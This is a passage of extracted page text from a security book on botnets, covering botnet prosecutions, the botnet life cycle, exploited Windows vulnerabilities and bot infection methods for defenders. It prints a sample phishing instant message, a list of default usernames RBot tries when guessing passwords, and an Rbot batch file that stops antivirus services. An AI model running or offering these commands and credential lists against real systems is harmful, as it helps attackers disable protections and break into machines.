Chapter 1\n15\n" }, { "page_number": 34, "text": "upon demand. Using other software, the Serv-U ftp server appears to\nbe Windows Explorer in Task Manager.The data is being stored in\nhidden directories that can’t be reached using Windows.\n■\nSPIM Spam for Instant Messaging. Bots have now been used to\nsend phishing attacks and links to Web sites that upload malicious\ncode to your PC.\nAn example SPIM message:\nATTENTION...Windows.has.found.55.Critical.System.Errors...\nTo fix the errors please do the following:..\n1\nDownload Registry Update from: www.regfixit.com.\n2\nInstall Registry Update\n3\nRun Registry Update.\n4\nReboot your computer\nFAILURE TO ACT NOW MAY LEAD TO SYSTEM FAILURE!\nMcAfee’s Site Advisor flags the aforementioned site as one that uploads\nmalicious code.\nCases in the News\nWith bot authors publishing so many variants, you would think that it might\nbe easier to eventually catch some of these people.And you would be right.\n“THr34t-Krew”\nIn February 2003,Andrew Harvey and Jordan Bradley (two authors of TK\nworm), a GT Bot variant, were arrested in County Durham, in the U.K.The\nU.K.’s National Hi-Tech Crime Unit worked in conjunction with the United\nStates multiagency CATCH team (Computer and Technology Crime Hi-\nTech Response Team).According to the NHTCU, the two men were mem-\nbers of the International Hacking group “THr34t-Krew.” Rick Kavanagh, in\nan article on IT Vibe (www.itvibe.com), Oct 10, 2005, reported that “Harvey,\n24, and Bradley, 22, admitted ‘conspiracy to cause unauthorized modification\nof computers with intent,’ between 31 December 2001 and 7 February 2003.”\nIt’s estimated that the worm did £5.5 million, or approximately US$11 \nwww.syngress.com\n16\nChapter 1 • Botnets: A Call to Action\n" }, { "page_number": 35, "text": "million in damage.TK worm exploited a common Unicode vulnerability in\nInternet Explorer.\nAdditional evidence was seized from an address in Illinois through a\nsimultaneous search warrant.The worm had infected over 18,000 infected\ncomputers.The American member, Raymond Steigerwalt, was sentenced to\n21 months in jail and ordered to pay $12,000 in restitution.\nAxel Gembe\nAxel Gembe is the author of Agobot (aka Gaobot, Nortonbot, Polybot), a 21-\nyear-old hacker reported by police at the time of his arrest as “Alex G.” He\nwas arrested May 7, 2004, at his home in Germany (Loerrach or Waldshut,\ndifferent reports conflict) in the southwestern state of Baden-Württemberg.\nHe was charged under Germany’s computer sabotage law for creating mali-\ncious computer code. He has admitted responsibility for creating Agobot in\nOct 2002. Five other men have also been charged.\n180Solutions Civil Law Suit\nSometime prior to 2004, a Lithuanian mob contacted Dutch hackers and\nasked them to create a botnet.The hackers created and delivered the botnet. It\noccurred to the hackers that the Lithuanians must be using it in some way to\nmake money.They reasoned that they could do the same thing for them-\nselves.They created their own botnet with 1.5 million zombie clients.\nIn one venture, they were using the botnet to install software for an\nadware company, 180Solutions. 180Solutions had been under pressure from\nthe public to clean up its act for years. In January 2005, they changed their\npolicy to exclude paying for software installations that the user did not autho-\nrize. In doing so they began to terminate agreements with distributors that\ninstalled their software without the user’s approval. By August, according to\n180Solutions, they had terminated 500 distributors.The Dutch hackers then\nemployed the botnet to extort money by DDoSing 180Solutions until they\npaid.The company brought in the FBI who tracked down the hackers. On\nAugust 15, 2005, 180Solutions filed a civil suit against seven hackers involved\nin the DDoS attacks: Eric de Vogt of Breda, the Netherlands; Jesse Donohue\nof South Melbourne,Australia; Khalil Halel of Beirut; Imran Patel of\nwww.syngress.com\nBotnets: A Call to Action • Chapter 1\n17\n" }, { "page_number": 36, "text": "Leicester, England; Zarox Souchi of Toronto;Youri van den Berg of Deventer,\nthe Netherlands; and Anton Zagar of Trbovlje, Slovenia.\nOperation Cyberslam:\nJay Echouafni, Jeanson James Ancheta\nThe first U.S. criminal case involving a botnet went to trial in November\n2005. Jeanson James Ancheta (aka Resili3nt), age 21, of Downey, California,\nwas convicted and sentenced to five years in jail for conspiring to violate the\nComputer Fraud Abuse Act, conspiring to violate the CAN-SPAM Act,\ncausing damage to computers used by the federal government in national\ndefense, and accessing protected computers without authorization to commit\nfraud. He was also ordered to pay $57,000 in restitution.\nAncheta’s botnet consisted of thousands of zombies. He would sell the use\nof his zombies to other users, who would launch DDoS (see Figure 1.2) or\nsend spam.\nFigure 1.2 A Simple Botnet Overview\nwww.syngress.com\n18\nChapter 1 • Botnets: A Call to Action\n" }, { "page_number": 37, "text": "Notes from the Underground…\nA Simple Botnet\nFigure 1.2 depicts a simple botnet being commanded to launch a DDoS\nattack against a competitor or other individual. The numbered steps\nillustrate a timeline from a new botclient joining the botnet and then\nparticipating in the DDoS attack. Steps 2-5 repeat ad infinitum with\nstep 4 changing to whatever attack was commanded in step 2. \n1. When a new botclient has been created (compromised), one\nof its first duties is to rally back to the C&C server. It does\nthis by joining a specified IRC Channel and waiting for com-\nmands to be posted there.\n2. The botherder posts a command to the C&C server, possibly\nin response to a paying customer’s request. In this case, the\ncustomer has requested that the botherder prevent a com-\npetitor’s Web site from getting any orders for several days.\nThe botherder sends a command to the C&C server, speci-\nfying the target, the time and type of attack, and which of\nthe botclients are to participate.\n3. The botclients monitor the C&C server on the specified\nchannel. When the botherder sends the command, the bot-\nclients see that it has been posted and schedule the\nrequested activity. \n4. At the appointed time, all of the selected botclients begin\nsending network traffic to the target. With enough traffic,\nthe target Web site is unable to process both the attack\ntraffic and the legitimate traffic and soon attempts to pro-\ncess only attack traffic.\n5. In step 5, optionally the botclients report back to the C&C\nserver any results or that they have completed the task and\nare ready for new commands.\nwww.syngress.com\nBotnets: A Call to Action • Chapter 1\n19\n" }, { "page_number": 38, "text": "He also used a botnet of more than 400,000 zombies to generate income\nin a “Clicks for Hire scam” by surreptitiously installing adware for which he\nwas paid more than $100,000 by advertising affiliate companies.A U.S.\nDepartment of Justice (DOJ) press release stated that Ancheta was able to\navoid detection by varying the download times and rates of the adware instal-\nlations, as well as by redirecting the compromised computers between various\nservers equipped to install different types of modified adware.\nAnthony Scott Clark\nIn December 2005,Anthony Scott Clark of Beaverton, Oregon, pled guilty to\ninfecting thousands of computers and then to using those computers to con-\nduct a DoS attack.According to the DOJ press release (www.usdoj.gov/crim-\ninal/cybercrime/clarkPlea.htm), Mr. Clark admitted to the following:\nFrom July through August 2003, Mr. Clark participated with\nseveral others in DDoS attacks on the Internet against eBay,\nInc. and other entities. A DDoS attack is one in which many\ncompromised computers (or bots) attack a single target,\nthereby causing a denial of service for legitimate users of\nthe targeted system. \nMr. Clark and his accomplices accumulated approximately 20,000 bots by\nusing a worm program that took advantage of a computer vulnerability in the\nWindows Operating System—the “Remote Procedure Call for Distributed\nComponent Object Model,” or RPC-DCOM vulnerability.The bots were\nthen directed to a password-protected IRC server, where they connected,\nlogged in, and waited for instructions. When instructed to do so by Mr. Clark\nand his accomplices, the bots launched DDoS attacks at computers or com-\nputer networks connected to the Internet. Mr. Clark personally commanded\nthe bots to launch DDoS attacks on the nameserver for eBay.com.As a result\nof these commands, Mr. Clark intentionally impaired the infected computers\nand eBay.com.\nMr. Clark’s case was investigated by agents of the U.S. Secret Service’s\nElectronic Crimes Task Force.The effort was overseen by the U.S.Attorney’s\nOffice’s Computer Hacking and Intellectual Property (CHIP) Unit.\nwww.syngress.com\n20\nChapter 1 • Botnets: A Call to Action\n" }, { "page_number": 39, "text": "Farid Essebar\nFarid Essebar, 18, of Morocco, is the author of the Zotob worm. Essebar is\nfacing charges in Morrocco that he released the Zotob worm that crippled\nthe world’s banks and medical companies.\nChristopher Maxwell\nBotnets can cause unintended damage.This was the case with Christopher\nMaxwell, aka “donttrip,” 20, of Vacaville, California.According to the DOJ\npress release announcing his conviction, in January 2005, as his botnet\nsearched for additional computers to compromise, it infected the computer\nnetwork at Northwest Hospital in Seattle.The increase in computer traffic as\nthe botnet scanned the system interrupted normal hospital computer commu-\nnications.These disruptions affected the hospital’s systems in numerous ways:\nDoors to the operating rooms did not open, pagers did not work, and com-\nputers in the intensive care unit shut down.According to the DOJ press\nrelease (www.usdoj.gov/criminal/cybercrime/maxwellPlea.htm), Maxwell\npled guilty to “conspiracy to intentionally cause damage to a protected com-\nputer and to commit computer fraud,” and “intentionally causing or intending\nto cause damage to a protected co-conspirators created the botnet with over\none million clients to fraudulently obtain commission income from installing\nadware on computers without the owners’ permission.The government esti-\nmates that Maxwell and friends earned approximately $100,000 from this\nventure. Maxwell’s bot damaged 400 DoD computers at Germany’s\nDepartment of Defense (DoD). He was ordered to pay the hospital and the\nDoD restitution in the amount of $252,000 and sentenced to 37 months in\nfederal prison.\nJeffrey Parson\nIn August of 2003, Jeffrey Parson released a variation of the Blaster Worm,\nwhich infected 48,000 computers worldwide.According to a U.S. Department\nof Justice press release (www.usdoj.gov/criminal/cybercrime/parsonSent.htm),\n“Parson admitted that he created his worm by modifying the original MS\nBlaster worm and adding a mechanism that allowed him to have complete\naccess to certain infected computers. Parson then infected approximately fifty\ncomputers that he had previously hijacked with his worm. From those fifty\nwww.syngress.com\nBotnets: A Call to Action • Chapter 1\n21\n" }, { "page_number": 40, "text": "computers, Parson’s worm spread to other individual computers. Parson’s\nworm then directed those infected computers to launch an attack against a\nMicrosoft Web site.Attorneys for the government calculate that more than\n48,000 computers were infected by Parson’s worm.”\nParson was sentenced to 18 months in jail, three years of supervised\nrelease, and a restitution amount dependent on his observance of the condi-\ntions of supervised release. From the DOJ press release,“In sentencing Parson\nto eighteen months, Judge Pechman said she considered his unique circum-\nstances: that he was just three weeks past his 18th birthday when he released\nthe worm, his history of mental illness, and that his parents had failed to\nmonitor or guide him on his computer activities. Pechman told Parson his\ncommunity service had to be through face-to-face contact with others and\nrestricted his use of computers to only educational and business purposes. She\ntold him,‘No video games, no chat rooms. I don’t want you to have anony-\nmous friends; I want you to have real world friends.’ She also stressed that part\nof Parson’s supervised release would involve a mental health program.\nThe pattern that you can see in these criminal and civil prosecutions is\nthat the punishment doesn’t appear to fit the crime. In most cases here, there\nwas no record of sentencing.\nThe Industry Responds\nAt the TechEd 2006 conference in Boston, Microsoft confirmed that “well-\norganized mobsters have established control [of] a global billion-dollar crime\nnetwork using keystroke loggers, IRC bots, and rootkits,” according to\n“Microsoft:Trojans, Bots Are ‘Significant and Tangible Threat,’” an article by\nRyan Naraine in the June 12, 2006, edition of eWEEK.com. Microsoft is\nbasing this conclusion on data collected by its Malicious Software Removal\nTool (MSRT).The article says that MSRT has removed 16 million instances\nof malicious code on 5.7 million unique Windows systems. Sixty-two percent\nof these systems were found to have a Trojan or bot client.\nThe Alliance Against IP Theft, an organization in the U.K., published a\ndocument titled “Proving the Connection—Links between Intellectual\nProperty Theft and Organised Crime” (www.allianceagainstiptheft.co.uk) that\nsupports Microsoft’s claim.\nwww.syngress.com\n22\nChapter 1 • Botnets: A Call to Action\n" }, { "page_number": 41, "text": "On August 10, a group of information security professionals, vendors, and\nlaw enforcement gathered at Cisco Headquarters in San Jose. With little\nnotice, the “Internet Security Operations and Intelligence Workshop”\nattracted around 200 attendees. Led by the enigmatic Gadi Evron (security\nevangelist for Beyond Security and chief editor of the security portal\nSecuriTeam), speaker after speaker painted a bleak and complex picture. Many\nlamented the increasing ineffectiveness of the prevailing strategy, which\nfocused on identifying and taking out C&C servers.This is the “kill the head\nof the snake” approach. Bots have begun to evolve beyond this weakness now.\nSome now have multiple C&C servers, and, like a Hydra, if you cut off one\nC&C server, two more pop up. Some used protocols that lend themselves to a\nmore decentralized organization. Some are using “Fast Flux” DNS technology\n(see Chapter 3) to play an electronic version of the shell game with the C&C\nserver.There was much wailing and gnashing of teeth by the security and\nnetwork professionals. However, amidst the lamentations, some very inter-\nesting and innovative ideas were presented.\nThese ideas involve different methods of detecting botnets, aggregating\nthis information, and sharing it for the benefit of all. Some ideas were so\ntempting that participants began trying out aspects of the idea during the pre-\nsentation. When all was said and done, 200 minds knew what only a handful\nknew before. Further, a “call to action” had been issued. Come out of our\nshell, share what we know, organize our responses.\nwww.syngress.com\nBotnets: A Call to Action • Chapter 1\n23\n" }, { "page_number": 42, "text": "Summary\nBotnet technology is the next killer Web application. It is a tremendous force\nmultiplier for organized crime.The money from organized crime has created\na fertile technology incubator for the darkside hacker.The problem they have\ncreated is huge, global in scope.Their primary victims targeted to become\nclients are the innocents, the elderly, the young, and the non-computer lit-\nerate. Many of the botherder schemes also target this defenseless group.The\nappetite for power doesn’t stop there. In the DDoS attack, bots have grown\nbig enough to be a threat to major corporations and even nations.\nBot technology has evolved from simple agents that played games with\nusers to mercenary robotic armies without morals, ready to carry out designer\ncrimes on demand. From “Hunt the Wumpus” we now have botnets that col-\nlect information about customers of a specific bank, then target those cus-\ntomers with special botclients that contain features designed to defeat or\nbypass that bank’s security.Today’s bots are easy to customize, modular, adap-\ntive, targetable, and stealthy.They are moving to a more decentralized\napproach and diversifying their C&C techniques.\nLaw enforcement has begun to catch and arrest some botnet developers\nand operators.The Microsoft bounty fund has proven useful in improving law\nenforcement opportunities to find the bad guys. Unfortunately, the court\nsystem is in serious need of change. Investigations take months for crimes that\nare over in seconds. Cases drag out for years, so much so that the affected\nbusinesses cannot afford to support prosecution efforts.The penalties being\ngiven are rarely more than a slap on the wrist, if anything at all is done. In\nmany cases the arrested individual trades information for little or no punish-\nment.The public reporting of light sentences and fines sends the message that\ncrime does indeed pay and that you will likely never have to pay the piper.\nIn May of 2006, news articles were trumpeting the success of efforts by\nsecurity and network professionals in taking down C&C servers around the\nworld. By August, the headlines had changed to claims that we’ve already lost\nthe botnet war.The hacker community responded to the security strategy of\ntaking down C&C servers by reducing their dependence on a single C&C\nserver.They’ve shifted their approach by creating multiple C&C servers and by\nemploying “fast flux” DNS. By changing their architecture, they decimated the\nwww.syngress.com\n24\nChapter 1 • Botnets: A Call to Action\n" }, { "page_number": 43, "text": "effectiveness of our best weapon. Many of us had been touting the slogan “cut\noff the head of the snake.”The network and security professionals had been\nmoving to implement a large-scale implementation of that in May. In hindsight,\nthe war wasn’t lost, although it was a significant battle.This war will never be\nwon or lost.The war between good and evil, like the road, goes ever on.\nInstead of declaring surrender, a call to action has been issued. Network\nand security professionals gathered in August of 2006, with follow-on meet-\nings planned throughout 2007. In these meetings, a clearer view of the\nproblem is emerging. Innovations are being shared and improved upon. For\nthe new threat, new strategies and tools are being forged.The remainder of\nthis book will bring you up to speed to join the battle.\nSolutions Fast Track\nThe Killer Web App\n■\nThe botnet is modular—one module exploits the vulnerabilities it\nfinds to gain control over its target.\n■\nA botnet is adaptive; it can be designed to download different\nmodules to exploit specific things that it finds on a victim.\n■\nBotnet attacks are targetable.That is, the hacker can target a company\nor a market sector for these attacks.\nHow Big Is the Problem?\n■\nSince January 2005, Microsoft has been delivering the Windows\nMalicious Software Removal Tool to its customers.After 15 months,\nMicrosoft announced that it had removed 16 million instances of\nmalicious software from almost six million unique computers.\nAccording to the Microsoft report “Progress Made,Trends Observed,”\nbots represented a majority of the removals.\n■\nIf left unabated, the botnet plague could threaten the future of the\nInternet, just as rampant crime and illegal drug use condemn the\neconomic future of real neighborhoods.\nwww.syngress.com\nBotnets: A Call to Action • Chapter 1\n25\n" }, { "page_number": 44, "text": "■\nIn March of 2006, McAfee was called in to, in essence, reclaim a\nCentral American country’s telecommunications infrastructure from a\nmassive botnet.\nThe Industry Responds\n■\nAt the TechEd 2006 conference in Boston, Microsoft confirmed that\n“well-organized mobsters have established control [of] a global\nbillion-dollar crime network using keystroke loggers, IRC bots, and\nrootkits,” according to “Microsoft:Trojans,Bots Are ‘Significant and\nTangible Threat,’” an article by Ryan Naraine in the June 12, 2006,\nedition of eWEEK.com.\n■\nSome bots now have multiple C&C servers, and, like a Hydra, if you\ncut off one C&C server, two more pop up.\nQ: Have we lost the war of the botnets?\nA: No. Until 2006, security and network professionals had not truly engaged\nthe enemy. For the most part we saw victim response. When the victim\nwas big, the response was big. 2005-2006 marks the beginning of efforts\nto coordinate larger responses to the threat. Up to this point, many secu-\nrity professionals had not made the connection that these attacks were\nbeing fueled by money from organized crime. Now that the connection\nto organized crime has been made, the playing field is forever altered. Law\nenforcement and other government agencies are now joining the fight.\nSeveral consortiums have emerged to gather, aggregate, and distribute\ninformation as well as to coordinate responses.The battle has only begun.\nwww.syngress.com\n26\nChapter 1 • Botnets: A Call to Action\nFrequently Asked Questions\nThe following Frequently Asked Questions, answered by the authors of this\nbook, are designed to both measure your understanding of the concepts pre-\nsented in this chapter and to assist you with real-life implementation of these\nconcepts. To have your questions about this chapter answered by the author,\nbrowse to www.syngress.com/solutions and click on the “Ask the Author”\nform. \n" }, { "page_number": 45, "text": "Q: How much is the Microsoft bounty for virus authors and how do I get\nme some?\nA: In 2003, Microsoft established a $5 million antivirus reward program.\nMicrosoft periodically announces that it is offering a bounty for informa-\ntion leading to the arrest and conviction of authors of a specific virus.\nRewards of $250,000 have been paid for the creator of the Sasser worm.\nToday, awards are posted for the authors of the SoBig virus and the Blaster\nworm. If you have information about a virus that Microsoft has offered a\nbounty for, you should contact law enforcement. From the Microsoft\nQ&A page regarding the bounty (www.microsoft.com/presspass/fea-\ntures/2003/nov03/11-05AntiVirusQA.mspx) “Persons with information\nshould go directly to the law enforcement agencies by calling their local\nFBI (www.fbi.gov/contact/fo/fo.htm) or Secret Service office, or the\nInterpol National Central Bureau (www.interpol.int) in any of Interpol’s\n181 member countries, or by going to the FBI Internet Fraud Complaint\nCenter Web site (www.ic3.gov).” The Microsoft Web page for informa-\ntion about current rewards is located at www.microsoft.com/security/\nantivirus/default.mspx.\nwww.syngress.com\nBotnets: A Call to Action • Chapter 1\n27\n" }, { "page_number": 46, "text": "" }, { "page_number": 47, "text": "Botnets Overview\nIf only it were possible to reproduce yourself\na million times over so that you can achieve\na million times more than you can today.\n—Dr. Joseph Goebbels, Propaganda Minister\nfor Nazi Germany; from the 15 Feb 1943\nentry in his personal diary. \nSolutions in this chapter:\n■\nWhat Is a Botnet?\n■\nThe Botnet Life Cycle\n■\nWhat Does a Botnet Do?\n■\nBotnet Economics\nChapter 2\n29\n\u0002 Summary\n\u0002 Solutions Fast Track\n\u0002 Frequently Asked Questions\n" }, { "page_number": 48, "text": "What Is a Botnet?\nWhat makes a botnet a botnet? In particular, how do you distinguish a botnet\nclient from just another hacker break-in? First, the clients in a botnet must be\nable to take actions on the client without the hacker having to log into the\nclient’s operating system (Windows, UNIX, or Mac OS). Second, many\nclients must be able to act in a coordinated fashion to accomplish a common\ngoal with little or no intervention from the hacker. If a collection of com-\nputers meet this criteria it is a botnet.\nA botnet is the melding of many threats into one.The typical botnet con-\nsists of a bot server (usually an IRC server) and one or more botclients (refer\nto Figure 1.2). Botnets with hundreds or a few thousands of botclients (called\nzombies or drones) are considered small botnets. In this typical botnet, the\nbotherder communicates with botclients using an IRC channel on a remote\ncommand and control (C&C) server. In step 1, the new botclient joins a pre-\ndesignated IRC channel on an IRC server and listens for commands. In step\n2, the botherder sends a message to the IRC server for each client to retrieve.\nIn step 3, the clients retrieve the commands via the IRC channel and per-\nform the commands. In step 4, the botclients perform the commands—in the\ncase of Figure 1.2, to conduct a DDoS attack against a specified target. In step\n5, the botclient reports the results of executing the command.\nThis arrangement is pleasing to hackers because the computer performing\nthe actions isn’t their computer and even the IRC relay isn’t on their com-\nputer.To stop the botnet the investigator has to backtrack from a client to an\nIRC server to the hackers.The hacker can add another layer of complexity by\nsending all commands to the IRC channel through an obfuscating proxy and\nprobably through a series of multiple hops, using a tool like Tor\n(http://tor.eff.org/download.html.en). Having at least one of these elements\nin another country also raises the difficulty of the investigation. If the investi-\ngator is charged with protecting one or more of the botnet clients, they will\nusually stop the investigation once they realize the individual damage to their\nenterprise is low, at least too low to justify a complex investigation involving\nforeign law enforcement.Add to this the fact that some botnet codebases\ninclude commands to erase evidence, commands to encrypt traffic, and even\npolymorphic stealth techniques, and it’s easy to see why hackers like this kind\nwww.syngress.com\n30\nChapter 2 • Botnets Overview\n" }, { "page_number": 49, "text": "of tool. Modern botnets are being fielded that are organized like real armies,\nwith divisions of zombies controlled by different bot servers.The botherder\ncontrols a set of bot servers, which in turn each control a division of zombies.\nThat way, if a communications channel is disrupted, only one division is lost.\nThe other zombie divisions can be used to retaliate or to continue to conduct\nbusiness.\nThe Botnet Life Cycle\nBotnets follow a similar set of steps throughout their existence.The sets can\nbe characterized as a life cycle. Figure 2.1 illustrates the common life cycle of\na botnet client. Our understanding of the botnet life cycle can improve our\nability to both detect and respond to botnet threat.\nExploitation\nThe life of a botnet client, or botclient, begins when it has been exploited.A\nprospective botclient can be exploited via malicious code that a user is tricked\ninto running; attacks against unpatched vulnerabilities; backdoors left by\nTrojan worms or remote access Trojans; and password guessing and brute\nforce access attempts. In this section we’ll discuss each of these methods of\nexploiting botnets.\nMalicious Code\nExamples of this type of exploit include the following:\n■\nPhishing e-mails, which lure or goad the user to a Web site that\ninstalls malicious code in the background, sometimes while con-\nvincing you to give them your bank userid and password, account\ninformation, and such.This approach is very effective if you are\nlooking for a set of botnet clients that meet certain qualifications,\nsuch as customers of a common bank.\n■\nEnticing Web sites with Trojan code (“Click here to see the Dancing\nMonkeys!”).\n■\nE-mail attachments that when opened, execute malicious code.\nwww.syngress.com\nBotnets Overview • Chapter 2\n31\n" }, { "page_number": 50, "text": "■\nSpam in instant messaging (SPIM).An instant message is sent to you\nby someone you know with a message like “You got to see this!” fol-\nlowed by a link to a Web site that downloads and executes malicious\ncode on your computer.\nAttacks against Unpatched Vulnerabilities\nTo support spreading via an attack against unpatched vulnerabilities, most\nbotnet clients include a scanning capability so that each client can expand the\nbotnet.These scanning tools first check for open ports.Then they take the list\nof systems with open ports and use vulnerability-specific scanning tools to\nscan those systems with open ports associated with known vulnerabilities.\nBotnets scan for host systems that have one of a set of vulnerabilities that,\nwhen compromised, permit remote control of the vulnerable host.A fairly\nnew development is the use of Google to search for vulnerable systems.\nEvery “Patch Tuesday” from Microsoft is followed by a flurry of reverse\nengineering in the hacker community. Within a few days (3 for the last patch\nTuesday), someone will release an exploit against the problem that the most\nrecent patch fixed.The hacker community is counting on millions of users\nthat do not update their computers promptly. Modular botnets are able to\nincorporate new exploits in their scanning tools almost overnight. Diligent\npatching is the best prevention against this type of attack. If it involves a net-\nwork protocol that you don’t normally use, a host-based firewall can protect\nyou against this attack vector. However, if it is a protocol that you must keep\nopen you will need intrusion detection/protection capabilities. Unfortunately\nthere is usually a lag of some time from when the patch comes out until the\nintrusion detection/protection updates are released.Your antivirus software\nmay be able to detect the exploit after it happens, if it detects the code before\nthe code hides from the A/V tool or worse, turns it off.\nVulnerabilities Commonly Exploited by Bots:\nAgobot spreads via several methods including:\n■\nRemote Procedure Call (RPC) Distributed Component Object\nModel (DCOM) (TCP ports 135, 139, 445, 593, and others) to XP\nsystems\nwww.syngress.com\n32\nChapter 2 • Botnets Overview\n" }, { "page_number": 51, "text": "■\nRPC Locator vulnerability \n■\nFile shares on port 445\n■\nIf the target is a Web server, the IIS5 WEBDAV (Port 80) vulnera-\nbility\nSDBot Spreads through the following exploits:\n■\nNetBios (port 139)\n■\nNTPass (port 445)\n■\nDCom (ports 135, 1025)\n■\nDCom2 (port 135)\n■\nMS RPC service and Windows Messenger port (TCP 1025)\n■\nASN.1 vulnerability, affects Kerberos (UDP 88), LSASS.exe and\nCrypt32.dll (TCP ports 135, 139, 445), and IIS Server using SSL\n■\nUPNP (port 5000)\n■\nServer application vulnerabilities\n■\nWebDav (port 80)\n■\nMSSQL (port 1433)\n■\nThird-party application vulnerabilities such as DameWare remote\nmanagement software (port 6129) or Imail IMAPD Login username\nvulnerability (port 143)\n■\nA CISCO router vulnerability such as CISCO IOS HTTP autho-\nrization (Port 80) vulnerability\nIRCBot, Botzori, Zotob, Esbot, a version of Bobax, and a version of\nSpybot attempt to spread by exploiting the Microsoft Plug and Play vulnera-\nbility (MS 05-039).\nBackdoors Left by Trojan \nWorms or Remote Access Trojans\nSome botnets look for backdoors left by other bits of malicious code like\nRemote Access Trojans. Remote Access Trojans include the ability to control\nwww.syngress.com\nBotnets Overview • Chapter 2\n33\n" }, { "page_number": 52, "text": "another computer without the knowledge of the owner.They are easy to use\nso many less skilled users deploy them in their default configurations.This\nmeans that anyone that knows the default password can take over the\nTrojan’ed PC.\nSDBot exploits the following backdoors:\n■\nOptix backdoor (port 3140)\n■\nBagle backdoor (port 2745)\n■\nKuang backdoor (port 17300)\n■\nMydoom backdoor (port 3127)\n■\nNetDevil backdoor (port 903)\n■\nSubSeven backdoor (port 27347)\nPassword Guessing and Brute-Force Access Attempts\nRBot and other bot families employ several varieties of password guessing.\nAccording to the Computer Associates Virus Information Center, RBot\nspreading is started manually through remote control. It does not have an\nautomatic built-in spreading capability. RBot starts by trying to connect to\nports 139 and 445. If successful, RBot attempts to make a connection to the\nwindows share (\\\\\\ipc$), where the target is the IP address or name\nof the potential victim’s computer.\nIf unsuccessful, the bot gives up and goes on to another computer. It may\nattempt to gain access using the account it is using on the attacking com-\nputer. Otherwise it attempts to enumerate a list of the user accounts on the\ncomputer. It will use this list of users to attempt to gain access. If it can’t enu-\nmerate a list of user accounts it will use a default list that it carries (see the\nsidebar).This information is valuable to the CISO trying to identify and\nremove botclients in their environment.The login attempts are recorded in\nthe workstation event logs.These will appear different from normal logins in\nthat the workstation name will not be the local machine’s name. In a later\nchapter we will discuss how this information can be used to trace back to\nmany other members of the same botnet.\nwww.syngress.com\n34\nChapter 2 • Botnets Overview\n" }, { "page_number": 53, "text": "Notes from the Underground…\nDefault UserIDs Tried by RBot\nHere is a list of default userids that RBot uses.\n■Administrator\n■Administrador\n■Administrateur\n■administrat\n■admins\n■admin\n■staff\n■root\n■computer\n■owner\n■student\n■teacher\n■wwwadmin\n■guest\n■default\n■database\n■dba\n■oracle\n■db2\nThe passwords used with these attempts can vary.There is a default list\nprovided, but the botherder can replace it and the userID list with userIDs\nand passwords that have worked on other computers in the enterprise.\nwww.syngress.com\nBotnets Overview • Chapter 2\n35\n" }, { "page_number": 54, "text": "Figure 2.1 The Botnet Life Cycle\nwww.syngress.com\n36\nChapter 2 • Botnets Overview\nComputer is\nExploited\nBecomes a Bot\nNew Bot Rallys to\nlet Botherder Know\nIt’s Joined the Team\nRetrieve the Anti\nA/V Module\nSecure the New\nBot Client\nListen to the C&C\nServer/Peer for Commands\nRetrieve the\nPayload Module\nExecute the\nCommands\nReport Result to\nthe C&C Channel\nOn Command, Erase\nAll Evidence and Abandon\nthe Client\n" }, { "page_number": 55, "text": "Rallying and Securing the Botnet Client\nAlthough the order in the life cycle may vary, at some point early in the life of\na new botnet client it must call home, a process called “rallying.”When ral-\nlying, the botnet client initiates contact with the botnet Command and\nControl (C&C) Server. Currently, most botnets use IRC for Command and\nControl. In this chapter we will cover IRC C&C. In the next chapter we will\ndescribe advanced C&C methods, such as using Peer-to-Peer protocols.The\nphrase “Command and Control” is the term given to the act of managing and\ntasking the botnet clients. Rallying is the term given for the first time a botnet\nclient logins in to a C&C server.The login may use some form of encryption\nor authentication to limit the ability of others to eavesdrop on the communi-\ncations. Some botnets are beginning to encrypt the communicated data.\nAt this point the new botnet client may request updates.The updates\ncould be updated exploit software, an updated list of C&C server names, IP\naddresses, and/or channel names.This will assure that the botnet client can be\nmanaged and can be recovered should the current C&C server be taken\noffline.\nThe next order of business is to secure the new client from removal.The\nclient can request location of the latest anti-antivirus (Anti-A/V) tool from\nthe C&C server.The newly controlled botclient would download this soft-\nware and execute it to remove the A/V tool, hide from it, or render it ineffec-\ntive.The following list contains a batch file, used by an Rbot client, to shut\noff antivirus clients.An Rbot gains its access by password guessing or by a\nbrute force attack against a workstation. Once Rbot has guessed or sniffed the\npassword for a local administrator account, it can login to the computer as a\nlegitimate local administrator.An instance of Rbot has been found that runs a\nbat file that file executes net commands to turn off various A/V applications.\nnet start >>starts\nnet stop \"Symantec antivirus client\"\nnet stop \"Symantec AntiVirus\"\nnet stop \"Trend NT Realtime Service\"\nnet stop \"Symantec AntiVirus\"\nnet stop \"Norton antivirus client\"\nnet stop \"Norton antivirus\"\nnet stop \"etrust antivirus\"\nwww.syngress.com\nBotnets Overview • Chapter 2\n37\n" }, { "page_number": 56, "text": "net stop \"network associate mcshields\"\nnet stop \"surveyor\"\nShutting off the A/V tool may raise suspicions if the user is observant.\nSome botclients will run a dll that neuters the A/V tool. With an Anti-A/V\ndll in place the A/V tool may appear to be working normally except that it\nnever detects or reports the files related to the botnet client. It may also\nchange the Hosts file and LMHosts file so that attempts to contact an A/V\nvendor for updates will not succeed. Using this method, attempts to contact\nan A/V vendor can be redirected to a site containing malicious code or can\nyield a “website or server not found” error.\nIncreasingly, botnet clients have also employed a rootkit or individual tools\nto try to hide from the OS and other applications that an IT professional\nmight use to detect them. Consequently, some botnet clients scan for rootkits\nusing the Rootkit Revealer from www.sysinternals.com or rkdetector from\nhttp://www.rkdetector.com, to check to see if the computer already has a\nrootkit. One tool, hidden32.exe, is used to hide applications that have a GUI\ninterface from the user. Its use is simple; the botherder creates a batch file that\nexecutes hidden32 with the name of the executable to be hidden as its\nparameter.Another stealthy tool, HideUserv2, adds an invisible user to the\nadministrator group.\nAnother common task for this phase is that of mundane organization and\nmanagement.After securing the computer against antivirus tools, previous\nhackers, and detection by the user, the botherder might check to see what\nelse might be here. In the case of our Rbot infection, the botherder used a\nbatch file called find.bat, which tells the botherder if another hacker had been\nthere before or where he or she put his or her tools on this client. It may also\ntell the botherder about things on the computer that could be useful. For\nsome payloads it is useful to categorize a client according to hard drive space,\nprocessor speed, network speed to certain destinations, and so forth. For this\ntask, our example botnet used a batch file to launch a series of utilities and\nconcatenate the information into a text file (see the sidebar titled “A Batch\nFile Used to Discover the Nature of a New Botnet Client”).\nwww.syngress.com\n38\nChapter 2 • Botnets Overview\n" }, { "page_number": 57, "text": "Tools & Traps…\nA Batch File Used to Discover \nthe Nature of a New Botnet Client\n@echo off\necho *---------------------------------------------------------------\n----*>info.txt\necho *--Computer Specs....\n--*>>info.txt\necho *---------------------------------------------------------------\n----*>>info.txt\npsinfo.exe -d >>info.txt\nDiskinfo\necho *---------------------------------------------------------------\n----*>>info.txt\necho *--List of Current Processes 